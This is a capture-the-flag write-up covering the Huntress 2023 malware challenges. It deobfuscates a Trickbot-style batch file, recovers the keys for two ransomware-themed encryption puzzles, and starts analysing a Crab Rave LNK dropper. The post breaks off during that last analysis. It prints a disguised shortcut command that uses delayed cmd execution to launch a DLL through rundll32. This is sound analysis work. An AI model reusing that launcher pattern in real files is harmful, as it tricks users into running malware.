Accueil Writeups for Huntress 2023 Malware challenges
Post
Annuler

Writeups for Huntress 2023 Malware challenges

Batchfuscation

Description

I was reading a report on past Trickbot malware, and I found this sample that looks a lot like their code! Can you make any sense of it?

Solution

We are given a batch file that looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@echo off
set bdevq=set
%bdevq% grfxdh=
%bdevq%%grfxdh%mbbzmk==
%bdevq%%grfxdh%xeegh%mbbzmk%/
%bdevq%%grfxdh%jeuudks%mbbzmk%a
%bdevq%%grfxdh%rbiky%mbbzmk%c
%bdevq%%grfxdh%wzirk%mbbzmk%m
%bdevq%%grfxdh%naikpbo%mbbzmk%d
%bdevq%%grfxdh%ltevposie%mbbzmk%e
%bdevq%%grfxdh%uqcqswo%mbbzmk%x
%bdevq%%grfxdh%zvipzis%mbbzmk%i
%bdevq%%grfxdh%kquqjy%mbbzmk%t
%bdevq%%grfxdh%kmgnxdhqb%mbbzmk%
%bdevq%%grfxdh%%xeegh%%jeuudks%%grfxdh%bpquuu%mbbzmk%4941956 %% 4941859
%rbiky%%wzirk%%naikpbo%%kmgnxdhqb%%xeegh%%rbiky%%kmgnxdhqb%%ltevposie%%uqcqswo%%zvipzis%%kquqjy%%kmgnxdhqb%%bpquuu%
%bdevq%%grfxdh%grtoy%mbbzmk%%=exitcodeAscii%
%bdevq%%grfxdh%%xeegh%%jeuudks%%grfxdh%fqumc%mbbzmk%9273642 %% 9273544
%rbiky%%wzirk%%naikpbo%%kmgnxdhqb%%xeegh%%rbiky%%kmgnxdhqb%%ltevposie%%uqcqswo%%zvipzis%%kquqjy%%kmgnxdhqb%%fqumc%
%bdevq%%grfxdh%kbhoesxh%mbbzmk%%=exitcodeAscii%
--- snip ---
%xpjaysvii%%xpjaysvii%%kmgnxdhqb%%qihgjzq%%ltevposie%%kquqjy%%kmgnxdhqb%%xulqq%%xulqq%%djkxbuskp%%vdqvoyxss%%znvbyce%%naikpbo%%lhuzd%%jxiczrrc%%rbiky%%kbhoesxh%%ltevposie%%cxqemy%%giknplvpv%%jxiczrrc%%rvrcd%%uqcqswo%%ltevposie%%vdqvoyxss%%lhuzd%%kquqjy%%fbvra%%exoypdqzg%%cxqemy%%upogfi%%jeuudks%%uqcqswo%%dtqahrd%%dtqahrd%%fbvra%%jxiczrrc%%naikpbo%%exoypdqzg%%upogfi%%wzirk%%wzirk%%wzirk%%djkxbuskp%%kbhoesxh%%giknplvpv%%znvbyce%%qihgjzq%%vdqvoyxss%%wzirk%%wzirk%%kquqjy%%uqcqswo%%cxqemy%%zvipzis%%giknplvpv%%uqcqswo%%kbhoesxh%%zvipzis%%fbvra%%edefpb%%jxiczrrc%%naikpbo%%kquqjy%%vdqvoyxss%%vrzatob%%jeuudks%%rbiky%%naikpbo%%znvbyce%%rbiky%%exoypdqzg%%uqcqswo%%mljmage%%djkxbuskp%%vdqvoyxss%%puufauef%%jxiczrrc%%vdqvoyxss%%dtqahrd%%edefpb%%edefpb%%lhuzd%%rbiky%%djkxbuskp%%rbiky%%zvipzis%%cxqemy%%kbhoesxh%%fbvra%%dtqahrd%%jxiczrrc%%kbhoesxh%%djkxbuskp%%kbhoesxh%%kbhoesxh%%jxiczrrc%
%jxiczrrc%%ltevposie%%wzirk%%kmgnxdhqb%%qihgjzq%%ltevposie%%kquqjy%%kmgnxdhqb%%zvipzis%%lhuzd%%dtqahrd%%giknplvpv%%mljmage%%kbhoesxh%%jeuudks%%ltevposie%%djkxbuskp%%lhuzd%%wzirk%%xulqq%%jxiczrrc%%vrzatob%%zvipzis%%puufauef%%wzirk%%znvbyce%%lhuzd%%rvrcd%

The file is pretty big (7,8M) with 11209 lines.

The first part is based on variable substitution:

1
2
3
set bdevq=set
%bdevq% grfxdh=
%bdevq%%grfxdh%mbbzmk==

Here the code declares the variable %bdevq% ast set.

So the second line corresponds to set grfxdh= (fixing grfxdh to the space character).

The last line deobfuscates to set mbbzmk== which assigns the character = to the variable mbbzmk and so on.

This is the easiest part, but after the code does some calculus to get int values, run exit with that value to define an exit code and finally pops that value inside a variable:

1
2
3
set /a bpquuu=4941956 %% 4941859
cmd /c exit %bpquuu%
set grtoy=%=exitcodeAscii%

Here 4941956 % 4941859 is equal to 97 so %bpquuu% equals 97.

exit is called with that value which sets the last return code (like the $? variable of bash).

The special variable %=exitcodeAscii% is then used to pop that value and convert it to is character representation (a).

Replacing those values manually would be a pain in the a** so let’s write a script to deobfuscate everything:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import re

SUB_RE = re.compile(r"%(\w+)%")
SET_RE = re.compile(r"set (\w+)=")
DIV_RE = re.compile(r"(\d+) %% (\d+)")

with open("batchfuscation.bat") as fd:
    variables = {}
    current_char = '?'

    for line in fd:
        line = line.strip()
        search = SUB_RE.search(line)
        if search:
            for var in variables:
                line = line.replace(f"%{var}%", variables[var])

        if search := SET_RE.search(line):
            var_name = search.group(1)
            value = line.split("=", 1)[1] or " "
            if value == "%=exitcodeAscii%":
                variables[var_name] = current_char
            else:
                variables[var_name] = value
        else:
            if line.startswith("set /a "):
                int1, int2 = DIV_RE.search(line).groups()
                try:
                    current_char = chr(int(int1) % int(int2))
                except TypeError:
                    print(line)
                    exit()

        print(line)

In the output we can spot some lines that looks like this:

1
2
3
:: set flag_character34=d
:: set flag_character20=3
:: set flag_character2=l

Unfortunately they don’t appear in the good order, so we will have to sort the output.

Then we have to remove the useless prefix and join each character to get the flag.

The final execution:

1
2
$ python3 deobfuscate.py | grep flag_character | sort -V | cut -d'=' -f2 | tr -d '\n'
flag{acad67e3d0b5bf31ac6639360db9d19a}

BlackCat

Description

We’ve been hit by the infamous BlackCat Ransomware Group! We need you to help restore the encrypted files. Please help! My favorite rock got encrypted and I’m a wreck right now!

Solution

The challenge is tagged as Malware but it is more about basic crypto analysis.

You get an archive with some encrypted files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ 7z l blackcat.7z 

7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=fr_FR.UTF-8 Threads:4 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 2833645 bytes (2768 KiB)

Listing archive: blackcat.7z

--
Path = blackcat.7z
Type = 7z
Physical Size = 2833645
Headers Size = 477
Method = LZMA2:6m BCJ 7zAES
Solid = +
Blocks = 2

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-09-26 14:10:56 D...A            0            0  victim-files
2023-09-26 14:10:56 ....A      1190420      1371632  NOTE.png
2023-09-26 14:10:56 ....A       109857               victim-files/Bliss_Windows_XP.png.encry
2023-09-26 14:10:56 ....A           74               victim-files/flag.txt.encry
2023-09-26 14:10:56 ....A         8457               victim-files/Huntress-Labs-Logo-and-Text-Black.png.encry
2023-09-26 14:10:56 ....A        13959               victim-files/my-favorite-rock.jpg.encry
2023-09-26 14:10:56 ....A       191725               victim-files/the-entire-text-of-hamlet.txt.encry
2023-09-26 14:10:56 ....A      2814464      1461536  DecryptMyFiles.exe
------------------- ----- ------------ ------------  ------------------------
2023-09-26 14:10:56            4328956      2833168  7 files, 1 folders

Under victim-files are files that were encrypted.

The DecryptMyFiles.exe binary is a 64bits Windows executable:

1
DecryptMyFiles.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows, 13 sections

Launching strings on it reveals it was certainly written in Go:

1
2
3
4
5
6
7
8
9
10
11
--- snip ---
golang.org/x/sys/windows.procRtlNtStatusToDosErrorNoTeb
golang.org/x/sys/windows.procCLSIDFromString
golang.org/x/sys/windows.procCoCreateGuid
golang.org/x/sys/windows.procCoGetObject
golang.org/x/sys/windows.procCoInitializeEx
golang.org/x/sys/windows.procCoTaskMemFree
golang.org/x/sys/windows.procCoUninitialize
golang.org/x/sys/windows.procStringFromGUID2
golang.org/x/sys/windows.procEnumProcessModules
--- snip ---

The headers for the two encrypted PNG files are the same:

1
2
3
4
5
6
$ hexdump -C -n 16 Huntress-Labs-Logo-and-Text-Black.png.encry
00000000  ea 3f 3d 2a 62 68 75 63  63 6f 73 60 26 2a 2b 3b  |.?=*bhuccos`&*+;|
00000010
$ hexdump -C -n 16 Bliss_Windows_XP.png.encry
00000000  ea 3f 3d 2a 62 68 75 63  63 6f 73 60 26 2a 2b 3b  |.?=*bhuccos`&*+;|
00000010

Let’s compare with the header of the non-encrypted image:

1
2
3
$ hexdump -C -n 16 NOTE.png 
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010

Let’s do a simple XOR between the 16 first bytes of a clear PNG file and those of an encrypted PNG file.

1
2
3
4
5
>>> C = open("victim-files/Bliss_Windows_XP.png.encry", "rb").read(16)
>>> M = open("NOTE.png", "rb").read(16)
>>> key = "".join([chr(x ^ y) for x, y in zip(C, M)])
>>> key
'cosmoboicosmoboi'

So the key length is 8 and the key is cosmoboy.

We could also use xor-analyze (which already helped me several times) as follow :

We know that one of the encrypted files is Hamlet in txt format.

First let’s find a clear version of Hamlet (not necessarily exactly the same):

1
2
3
4
5
6
7
8
9
10
11
$ wget https://www.gutenberg.org/files/1524/1524-0.txt -O hamlet.txt
--2023-10-26 15:24:38--  https://www.gutenberg.org/files/1524/1524-0.txt
Résolution de www.gutenberg.org (www.gutenberg.org)… 2610:28:3090:3000:0:bad:cafe:47, 152.19.134.47
Connexion à www.gutenberg.org (www.gutenberg.org)|2610:28:3090:3000:0:bad:cafe:47|:443… connecté.
requête HTTP transmise, en attente de la réponse… 200 OK
Taille : 206755 (202K) [text/plain]
Sauvegarde en : « hamlet.txt »

hamlet.txt                                           100%[====================================================================================================================>] 201,91K   722KB/s    ds 0,3s

2023-10-26 15:24:38 (722 KB/s) — « hamlet.txt » sauvegardé [206755/206755]

Then we have to use the freq utility. You should be prepared before using the tool because the source code is encrypted, and you have to crack it first :)

Once done, the program needs a filepath on its input. It will read the file and output a .freq file :

1
2
3
$ echo hamlet.txt | ./tests/freq > hamlet.freq
$ ls -al hamlet.freq
-rw-r--r-- 1 nico nico 3843 26 oct.  15:24 hamlet.freq

Now we can analyze the encrypted text using our fresh .freq file (you should keep it for every analysis of encrypted english text) :

1
2
3
4
5
6
7
$ ./xor-analyze victim-files/the-entire-text-of-hamlet.txt.encry hamlet.freq
xor-analyze version 0.4 by Thomas Habets <thomas@habets.pp.se>
Counting coincidences... 20 / 20
Key length is probably 8 (or a factor of it)
Finding key based on byte frequency... 8 / 8
Checking redundancy... 100.00 %
Probable key: "cosmoboi"

With the key you can now decrypt the flag:

1
2
3
4
5
$ ./xor-enc cosmoboi flag.txt.encry flag.txt
$ cat flag.txt
Keeping my flag here so it's safe!

flag{092744b55420033c5eb9d609eac5e823}

Bonus: Analysing the binary

Analysing the DecryptMyFiles.exe is difficult because the name of the functions displayed in Cutter aren’t meaningful.

Some reverse-engineering tools find out the name of Golang functions in the disassembled code, but I did not find such plugins for Cutter.

However, I found GoReSym which is interesting.

GoReSym is a Go symbol parser that extracts program metadata (such as CPU architecture, OS, endianness, compiler version, etc), function metadata (start & end addresses, names, sources), filename and line number metadata, and embedded structures and types. This cross platform program is based directly on the open source Go compiler and runtime code.

You launch it on the binary:

1
$ ./GoReSym_lin -t -d -p DecryptMyFiles.exe > dump.txt

And you get a JSON file with addresses and symbols:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
--- snip ---
        {
            "Start": 5021984,
            "End": 5024448,
            "PackageName": "main",
            "FullName": "main.main"
        },
        {
            "Start": 5024448,
            "End": 5024544,
            "PackageName": "main",
            "FullName": "main.main.func3"
        },
        {
            "Start": 5024544,
            "End": 5024640,
            "PackageName": "main",
            "FullName": "main.main.func2"
        },
        {
            "Start": 5024640,
            "End": 5025145,
            "PackageName": "main",
            "FullName": "main.main.func1"
        }
--- snip ---

You must manually rename functions in Cutter, but it makes things a lot more clear. Also, it tells me where is the main entry point.

After some time I was able to determine that the program does a fmt.Scanln to read the encryption key which must be of 8 characters otherwise the program exits.

It then uses path.filepath.Walk, read each file, open another file with filename + .decry and write the original content XORed with the 8 bytes of the read key.

So the binary is just a way to decrypt the files once you spotted the key, but it doesn’t seem to contain the key in any way.

I started writing a Cutter plugin to use GoReSym, stay tuned for the release.

BlackCat II

Description

Be advised analyst: BlackCat is back! And they’re mad. Very mad. Help our poor user recover the images that they downloaded while browsing their favorite art site. Quickly!

Solution

Just like the former version, we have some encrypted files along with a Windows binary to decrypt them:

1
2
3
4
5
6
7
8
9
10
11
12
13
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-10-05 16:57:05 D....            0            0  challenge
2023-10-05 21:44:28 D....            0            0  challenge/victim-files
2023-10-05 16:57:15 ....A        75488       261696  challenge/victim-files/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry
2023-10-05 16:57:16 ....A        84640               challenge/victim-files/Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry
2023-10-05 16:57:16 ....A           96               challenge/victim-files/flag.txt.encry
2023-10-05 16:57:16 ....A        29696               challenge/victim-files/Guernica_by_Pablo_Picasso_large.jpg.encry
2023-10-05 16:57:16 ....A        59312               challenge/victim-files/Impression_Sunrise_by_Claude_Monet_large.jpg.encry
2023-10-05 16:57:17 ....A        12432               challenge/victim-files/Wanderer_above_the_Sea_of_Fog_by_Caspar_David_Friedrich_large.jpg.encry
2023-10-05 16:48:57 ....A       115200       103584  challenge/Decryptor.exe
------------------- ----- ------------ ------------  ------------------------
2023-10-05 21:44:28             376864       365280  7 files, 2 folders

The difference here is that the encrypted jpg files doesn’t share the same header:

1
2
3
4
5
6
7
8
9
10
11
$ find . -name "*.jpg.encry" -exec hexdump -C -n 16 {} \;
00000000  4f b4 ef df 95 80 f8 d0  1e e0 72 38 4e b5 7d 91  |O.........r8N.}.|
00000010
00000000  ef 59 88 4c 55 fd 39 3d  91 b8 2f 32 77 95 b5 12  |.Y.LU.9=../2w...|
00000010
00000000  6d 5e 58 2a 87 2b 51 43  ce 5e 0c e4 de 2b 58 25  |m^X*.+QC.^...+X%|
00000010
00000000  0c 1a a8 9b ca 72 ab 51  d3 bb 97 c9 b1 dc fa f7  |.....r.Q........|
00000010
00000000  4f b4 ef df d5 9c 4a a4  de 6b 7f a6 28 cd 5b d3  |O.....J..k..(.[.|
00000010

Two files seem to share the first 4 bytes but that’s it. It can’t be a XOR encrypted or at least it means that a different key is used for each file.

Let’s open dotPeek which is a free .NET Decompiler and Assembly Browser from JetBrains. Note that I also discovered AvaloniaILSpy which is available for Linux, but I didn’t test it yet.

The Decryptor.exe binary works thanks to a GUI that ask for a directory (victim-files) and a password. There is an event when you click on a button:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void button1_Click(object sender, EventArgs e)
{
  try
  {
    string directoryPath = this.fullPathToVictimFiles.Text.ToString().Trim();
    string lower = this.keyInputTextBox.Text.ToString().Trim().ToLower();
    if (lower == "")
    {
      int num1 = (int) MessageBox.Show("No key provided!");
    }
    else if (lower.Length < 64)
    {
      int num2 = (int) MessageBox.Show("Key must be 64 chars");
    }
    else
    {
      int num3 = (int) MessageBox.Show("Running decryption routine...");
      DecryptorUtil.DecryptFiles(directoryPath, lower);
      int num4 = (int) MessageBox.Show("Files decrypted!");
    }
  }
  catch (Exception ex)
  {
    int num = (int) MessageBox.Show("Error: " + ex.Message);
  }
}

But all the decryption logic is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Decryptor
{
  internal class DecryptorUtil
  {
    private static byte[] hardcodedIV = new byte[16]
    {
      (byte) 1,
      (byte) 35,
      (byte) 69,
      (byte) 103,
      (byte) 137,
      (byte) 171,
      (byte) 205,
      (byte) 239,
      (byte) 254,
      (byte) 220,
      (byte) 186,
      (byte) 152,
      (byte) 118,
      (byte) 84,
      (byte) 50,
      (byte) 16
    };

    public static void DecryptFiles(string directoryPath, string decryptionKey)
    {
      string[] files = Directory.GetFiles(directoryPath, "*.encry");
      if (files.Length == 0)
        return;
      string filePath = (string) null;
      foreach (string str in files)
      {
        string key = filePath != null ? DecryptorUtil.CalculateSHA256Hash(filePath) : decryptionKey;
        string outputFile = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(str) + ".decry");
        DecryptorUtil.AESDecryptFile(str, outputFile, key, DecryptorUtil.hardcodedIV);
        filePath = outputFile;
      }
      Console.WriteLine("[*] Decryption completed.");
    }

    private static string CalculateSHA256Hash(string filePath)
    {
      using (SHA256 shA256 = SHA256.Create())
      {
        using (FileStream inputStream = File.OpenRead(filePath))
          return BitConverter.ToString(shA256.ComputeHash((Stream) inputStream)).Replace("-", "").ToLower();
      }
    }

    private static byte[] GenerateAesKeyFromPassword(string password)
    {
      byte[] bytes1 = Encoding.UTF8.GetBytes("KnownSaltValue");
      using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes1, 10000, HashAlgorithmName.SHA256))
      {
        byte[] bytes2 = rfc2898DeriveBytes.GetBytes(32);
        return bytes2.Length == 32 ? bytes2 : throw new InvalidOperationException("Derived key size is not valid for AES encryption.");
      }
    }

    private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
    {
      try
      {
        using (Aes aes = Aes.Create())
        {
          byte[] aesKeyFromPassword = DecryptorUtil.GenerateAesKeyFromPassword(key);
          aes.Key = aesKeyFromPassword;
          aes.IV = iv;
          aes.Mode = CipherMode.CFB;
          aes.Padding = PaddingMode.Zeros;
          using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
          {
            using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
            {
              using (ICryptoTransform decryptor = aes.CreateDecryptor())
              {
                using (CryptoStream cryptoStream = new CryptoStream((Stream) fileStream2, decryptor, CryptoStreamMode.Write))
                {
                  byte[] buffer = new byte[4096];
                  int count;
                  while ((count = fileStream1.Read(buffer, 0, buffer.Length)) > 0)
                    cryptoStream.Write(buffer, 0, count);
                }
              }
            }
          }
        }
      }
      catch (Exception ex)
      {
        Console.WriteLine("Decryption error: " + ex.Message);
      }
    }
  }
}

A small note about the CalculateSHA256Hash method : it seems that dotnet is returning hashes as groups of 2 hex characters separated by dashes.

It is strange, but it explains why dashes are removed in the method.

The pure decryption with AES256, IV, etc, seems strong but then the way it handles successive files is strange :

1
2
3
4
5
6
7
8
9
string filePath = (string) null;
foreach (string str in files)
{
  string key = filePath != null ? DecryptorUtil.CalculateSHA256Hash(filePath) : decryptionKey;
  string outputFile = Path.Combine(directoryPath, Path.GetFileNameWithoutExtension(str) + ".decry");
  DecryptorUtil.AESDecryptFile(str, outputFile, key, DecryptorUtil.hardcodedIV);
  filePath = outputFile;
}
Console.WriteLine("[*] Decryption completed.");

So the first file found in the directory will be encrypted using the chosen encryption key while other files will use the SHA256 hash of the previously decrypted file…

This is problematic because from the DotNet documentation :

The order of the returned file names is not guaranteed; use the Sort method if a specific sort order is required.

As the encryption seems strong and the key can’t be shorter than 64 characters, our only solution seems to find cleartext versions of the encrypted files whose hashes should allow us to decrypt the flag.

Searching file names on the Internet seems easy, but I did not immediately use Google Image Search neither I put the file names between double quotes. Because of that I lost some time stupidly.

At some point though, I noticed that all files come from the following article 100 Most Famous Paintings In The World.

The file name of each picture matched BUT when downloading with cURL or Wget you obtained files bigger than the encrypted versions :

1
2
-rw-r--r-- 1 nico users 79466 30 oct.  20:42 A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg
-rw-r--r-- 1 nico users 75488  5 oct.  17:57 challenge/victim-files/A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry

If you download the files from the browser, it is quite different :

1
-rw-r--r-- 1 nico users 75488 30 oct.  21:16 A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.webp

Yippee-Ki-Yay ! I’m pretty sure a lot of players lost their hair on that issue.

The mime types doesn’t even match with the extension of encrypted files :

1
2
JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], progressive, precision 8, 480x360, components 3
RIFF (little-endian) data, Web/P image

It looks like the encrypted files, despite their suffix, are in fact WebP images.

With a little help from ChatGPT I took the original code and added an entry point :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Program
{
    private static byte[] hardcodedIV = new byte[16]
    {
      (byte) 1,
      (byte) 35,
      (byte) 69,
      (byte) 103,
      (byte) 137,
      (byte) 171,
      (byte) 205,
      (byte) 239,
      (byte) 254,
      (byte) 220,
      (byte) 186,
      (byte) 152,
      (byte) 118,
      (byte) 84,
      (byte) 50,
      (byte) 16
    };

    private static string CalculateSHA256Hash(string filePath)
    {
      using (SHA256 shA256 = SHA256.Create())
      {
        using (FileStream inputStream = File.OpenRead(filePath))
          return BitConverter.ToString(shA256.ComputeHash((Stream) inputStream)).Replace("-", "").ToLower();
      }
    }

    private static byte[] GenerateAesKeyFromPassword(string password)
    {
      byte[] bytes1 = Encoding.UTF8.GetBytes("KnownSaltValue");
      using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, bytes1, 10000, HashAlgorithmName.SHA256))
      {
        byte[] bytes2 = rfc2898DeriveBytes.GetBytes(32);
        return bytes2.Length == 32 ? bytes2 : throw new InvalidOperationException("Derived key size is not valid for AES encryption.");
      }
    }

    private static void AESDecryptFile(string inputFile, string outputFile, string key, byte[] iv)
    {
      try
      {
        using (Aes aes = Aes.Create())
        {
          byte[] aesKeyFromPassword = GenerateAesKeyFromPassword(key);
          aes.Key = aesKeyFromPassword;
          aes.IV = iv;
          aes.Mode = CipherMode.CFB;
          aes.Padding = PaddingMode.Zeros;
          using (FileStream fileStream1 = new FileStream(inputFile, FileMode.Open))
          {
            using (FileStream fileStream2 = new FileStream(outputFile, FileMode.Create))
            {
              using (ICryptoTransform decryptor = aes.CreateDecryptor())
              {
                using (CryptoStream cryptoStream = new CryptoStream((Stream) fileStream2, decryptor, CryptoStreamMode.Write))
                {
                  byte[] buffer = new byte[4096];
                  int count;
                  while ((count = fileStream1.Read(buffer, 0, buffer.Length)) > 0)
                    cryptoStream.Write(buffer, 0, count);
                }
              }
            }
          }
        }
      }
      catch (Exception ex)
      {
        Console.WriteLine("Decryption error: " + ex.Message);
      }
    }

    public static void Main(string[] args)
    {
        if (args.Length < 3)
        {
            Console.WriteLine("Usage: Program <inputFile> <outputFile> password");
            return;
        }

        // Get the input file path from the first command-line argument
        string inputFile = args[0];

        // Get the output file path by adding the ".clear" suffix to the input file name
        string outputFile = args[1];

        // Get the password from the command-line arguments
        string password = args[2];

        // Call AESDecryptFile with the input and output file paths, AES key, and hardcoded IV
        AESDecryptFile(inputFile, outputFile, password, hardcodedIV);

        Console.WriteLine("Decryption complete.");
    }
}

The program needs 3 arguments:

  • the encrypted filename
  • the output file (decrypted)
  • the encryption key (sha256 hash of another file)

Thanks to Mono it is possible to compile from Linux :

1
mcs decryptor.cs

I manually was able to decrypt 4 images, but then I could not decrypt the Guernica file (and was never able), nor I could get the flag (in fact it was due to a bad assumption).

I thought that maybe I didn’t try a hash at some point, so I made a Python script to call my binary, applying each found hash on each file :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os
from hashlib import sha256
from subprocess import check_output

hashes = set()
for file in os.listdir("original"):
    hash_ = sha256(open(f"original/{file}", "rb").read()).hexdigest().lower()
    hashes.add(hash_)

todo = list(hashes)
done = []

while True:
    try:
        hash_ = todo.pop()
    except:
        break
    else:
        done.append(hash_)

        for file in os.listdir("victim-files"):
            os.system(f"wine test.exe 'victim-files/{file}' /tmp/out {hash_} >/dev/null 2>&1")
            file_type = check_output(["file", "/tmp/out"]).decode().split(":", 1)[1].strip()
            buff = open(f"/tmp/out", "rb").read()
            if b"flag{" in buff:
                print(f"{file} {file_type} {hash_}")
                print(buff)
            elif file_type != "data":
                print(f"{file} {file_type} {hash_}")
                new_hash = sha256(buff).hexdigest().lower()
                if new_hash not in done and new_hash not in todo:
                    todo.append(new_hash)

By searching for flag{ inside decrypted files in worked:

1
2
3
4
5
6
A_Sunday_Afternoon_on_the_Island_of_La_Grande_Jatte_by_Georges_Seurat_5773ff06-a03e-401b-8914-6106bc277bfd_large.jpg.encry RIFF (little-endian) data, Web/P image 80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191
Cafe_Terrace_at_Night_by_Vincent_van_Gogh_large.jpg.encry RIFF (little-endian) data, Web/P image 80d60bddb3b57a28d7c7259103a514cc05507c7b9cf0c42d709bdc93ffc69191
Wanderer_above_the_Sea_of_Fog_by_Caspar_David_Friedrich_large.jpg.encry RIFF (little-endian) data, Web/P image 77f81d986319288d5b517c5ad70ad5986b216cd4aa9d60c04dc85f1d322e0821
flag.txt.encry data 2708d374d92c8691a333fa0e8638c3588de35e91a7628621a6f114301c4fdbbd
b'\xef\xbb\xbfKeeping another flag here for safe keeping again! \r\n\r\nflag{03365961aa6aca589b59c683eecc9659}\x00'
Impression_Sunrise_by_Claude_Monet_large.jpg.encry RIFF (little-endian) data, Web/P image 4a2922dab735eb8fa40f5e56aa04d97407549a891ced50828d6fe7740a842dbf

My bad assumption was that the flag would be a plaintext file and I was previously only checking for mime types, that’s why I missed it first.

Crab Rave

Description

My biologist friend told me that everything eventually evolves into a crab-like form. I don’t know if that’s true but I guess malware authors got a head start on that evolution. To save you some time, I went ahead and found you the 10 hour extended version of Crab Rave on YouTube (https://www.youtube.com/watch?v=-50NdPawLVY). You’ll need it.

So, here’s the deal. This one is tough, so we’re giving you a “Choose Your Own Adventure” challenge. Are you super confident with reverse engineering? Try crab_rave_harder.7z. Not so confident with RE? We gave you crab_rave_easier.7z.

Both have the same flag. Both do the same thing. If you solve one, you solve both. No matter which one you go with, it will be challenging. You got this.

Solution

This one was certainly the hardest of the CTF : you get a Windows x64 DLL. Symbols are still present but there are a lot of functions and there are no solutions to decompile the code.

Note that two versions of the challenge are offered. I solved the easiest one and it was still tough.

The executable comes with a LNK file that doesn’t provide much information:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
$ lnkinfo crab_rave_easier/company_financial_report_SAFE_NO_VIRUSES.csv.lnk 
lnkinfo 20181227

Windows Shortcut information:
        Contains a link target identifier
        Contains a relative path string
        Contains a command line arguments string
        Contains an icon location string
        Contains an icon location block

Link information:
        Creation time                   : Jan 15, 2021 00:55:23.286643000 UTC
        Modification time               : Jan 15, 2021 00:55:23.291147300 UTC
        Access time                     : Oct 10, 2023 10:22:28.019777300 UTC
        File size                       : 289792 bytes
        Icon index                      : 101
        Show Window value               : 0x00046c00
        Hot Key value                   : 27648
        File attribute flags            : 0x00000020
                Should be archived (FILE_ATTRIBUTE_ARCHIVE)
        Drive type                      : Fixed (3)
        Drive serial number             : 0x0c07af0b
        Volume label                    : 
        Local path                      : C:\Windows\System32\cmd.exe
        Relative path                   : ..\..\..\..\..\Windows\System32\cmd.exe
        Command line arguments          : /c ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && ping -n 1 127.0.0.1 > nul && C:\Windows\System32\rundll32.exe ntcheckos.dll,DLLMain
        Icon location                   : %SystemRoot%\System32\imageres.dll

Link target identifier:
        Shell item list
                Number of items         : 5

        Shell item: 1
                Item type               : Root folder
                Class type indicator    : 0x1f (Root folder)
                Shell folder identifier : 20d04fe0-3aea-1069-a2d8-08002b30309d
                Shell folder name       : My Computer

        Shell item: 2
                Item type               : Volume
                Class type indicator    : 0x2f (Volume)
                Volume name             : C:\

        Shell item: 3
                Item type               : File entry
                Class type indicator    : 0x31 (File entry: Directory)
                Name                    : Windows
                Modification time       : Oct 06, 2023 10:26:38
                File attribute flags    : 0x00000010
                        Is directory (FILE_ATTRIBUTE_DIRECTORY)
        Extension block: 1
                Signature               : 0xbeef0004 (File entry extension)
                Long name               : Windows
                Creation time           : Dec 07, 2019 09:03:46
